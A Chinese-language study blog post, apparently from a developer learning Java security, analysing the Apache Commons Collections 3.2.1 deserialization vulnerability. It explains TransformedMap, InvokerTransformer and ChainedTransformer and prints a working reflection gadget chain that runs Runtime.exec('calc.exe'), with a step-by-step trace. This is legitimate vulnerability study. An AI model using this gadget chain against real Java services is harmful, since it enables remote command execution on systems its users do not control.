java安全学习(二)

java安全学习(二)

前言

有了昨日的java基础后,今天准备的内容是一个经典的反序列化分析以及java反射的相关知识的学习,下面开始今天java学习的内容。

apache common collections 反序列化漏洞

首先我们知道,如果想要达到任意命令执行的目的,我们需要使用函数Runtime().getRunTime().exec(),因此我们需要找到一个对象能够进行存储并且在特定情况下进行反序列化从而执行我们的命令。

common collections是java内置标准集合类collection的一个补充和扩展库,丰富了一些数据结构和功能。而且很多著名的应用都用到了这个扩展包,像WebLogic、WebSphere、JBoss、Jenkins、OpenNMS,所以就危害范围来讲还是比较严重的,并且是任意命令执行的漏洞

影响范围
Apache Commons Collections <= 3.2.1,<= 4.0.0
复现版本
Apache Commons Collections 3.2.1
漏洞分析

方法概要
Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时(即key或value:集合中的数据存储形式即是一个索引对应一个值,就像身份证与人的关系那样),会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。也就是说,TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据被修改时,把它改回来; 或者在数据改变时,进行一些我们提前设定好的操作。

TransformedMap中实现了decorate方法

   public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。

  • 第一个参数为待转化的Map对象
  • 第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
  • 第三个参数为Map对象内的value要经过的转化方法

只要调用decorate()函数,传入key和value的变换函数Transformer,即可从任意Map对象生成相应的TransformedMap,而Transformer是一个接口:

将一个输入对象转化为另一个输出对象,也就是说我们可以通过TransformedMap.decorate()方法来创建一个TransformedMap的实例,其中在InvokerTransformer.java中实现了transform方法:

    /**
     * Transforms the input to result by invoking a method on the input.
     * 
     * @param input  the input object to transform
     * @return the transformed result, null if null input
     */
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}

这个transform(Object input)中使用Java反射机制调用了input对象的一个方法,而该方法名是实例化InvokerTransformer类时传入的iMethodName成员变量

如果这两者都是我们可控的话,那我们就可以通过InvokerTransformer.transform()来实现RCE,因此我们的目的是可以构造一个恶意的Transformer链,借用InvokerTransformer.transform()执行任意命令

那如何调用InvokerTransformer.transform()方法呢?此时ChainedTransformer·登上舞台了,它实现将多个transform连接起来,当触发时,ChainedTransformer可以按顺序调用一系列的变换

查看该类的构造方法和transform方法可以知道,接受所有transeformer后在分别调用每个transformertransform方法,因此如果我们可以实现将InvokeTransformr.transform()方法加入,则能够直接调用该方法实现RCE

但是需要注意的是,在InvokeTransformr类的构造方法中,并没有直接类的出现,而如果想通过runTime.getRuntTime().exec()来实现RCE,则必须要实现runTime的实力恶化,此时我们来看一下ConstantTransformer,同样也存在transform方法:

调用该类的transform方法可以返回传入对象本身,因此我们可以先来调用该方法得到runTime

pop链的构造

通过TransformedMap.decorate()方法

我们可以通过构造一个ChainedTransformer,然后再调用TransformedMap.decorate()方法,传入任意map和我们刚刚构造的chain。这样就可以使map中任意元素改变时自动触发ChainedTransformer.transform方法,导致我们的攻击链被执行。
exp如下:

Transformer[] trans = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]{"calc.exe"})
};
Transformer chain = new ChainedTransformer(trans);
Map<String, String> test = new HashMap<String, String>();
test.put("value", "anything");
Map<String, Object> m = TransformedMap.decorate(test, null, chain);
for (Map.Entry<String, Object> entry:m.entrySet()){
    entry.setValue("anything");
}

先看效果图:

再动调过一遍:
第一次返回

return runTime.class

后三次都是调用InvokerTransformer.transform
第一次调用时

Runtime.class.getClass()   // Class.class
Method method = Class.class.getMethod("getMethod",new Class[]{String.class, Class[].class});
return method.invoke(Runtime.class,new Object[]{"getRuntime", new Class[0]})


第二次调用InvokerTransformer.transform

java.lang.Runtime.getRuntime方法.getClass() //java.lang.reflect.Method.class
//Runtime.getMethod("getRuntime").invoke(null)执行了java.lang.Runtime.getRuntime()
java.lang.reflect.Method.class.getMethod("invoke",new Class[]{Object.class, Object[].class).invoke(java.lang.Runtime.getRuntime方法,new Object[]{null, new Object[0]})
return Runtime实例

第三次调用InvokerTransformer.transform

Class cls = Runtime.getRuntime().getClass();
		Method method = cls.getMethod("exec", new Class[]{String.class});
		method.invoke(Runtime.getRuntime(),new Object[]{"calc.exe"});

不得不说,短短的三四条链也能把我绕晕,java反序列化学习路上可谓是艰难险阻,在利用反序列化进行RCE时也可以明显感受到反射类的十分明显的用处,因此若要掌握反序列化漏洞,必须先将java反射类的基础完全掌握好。

其实写到这里,我也有异或的地方,既然我们可以调用InvokeTransformer.transform,为何不先获得Runtime.getRunTime()实例后直接调用该方法执行exec命令?

Transformer[] trans1 = new Transformer[] {
				new ConstantTransformer(Runtime.getRuntime()),
				new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.exec"})  
		};

InvokerTransformer.transform的逻辑重复发现如果直接这样的确能够调用成功,

查询后发现因为传入的是个Runtime实例,但是Runtime这个类没有实现Serializable接口,不能被反序列化,所以就必须构造反射链

其中AnnotationInvocationHandler类等后续在补上…

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值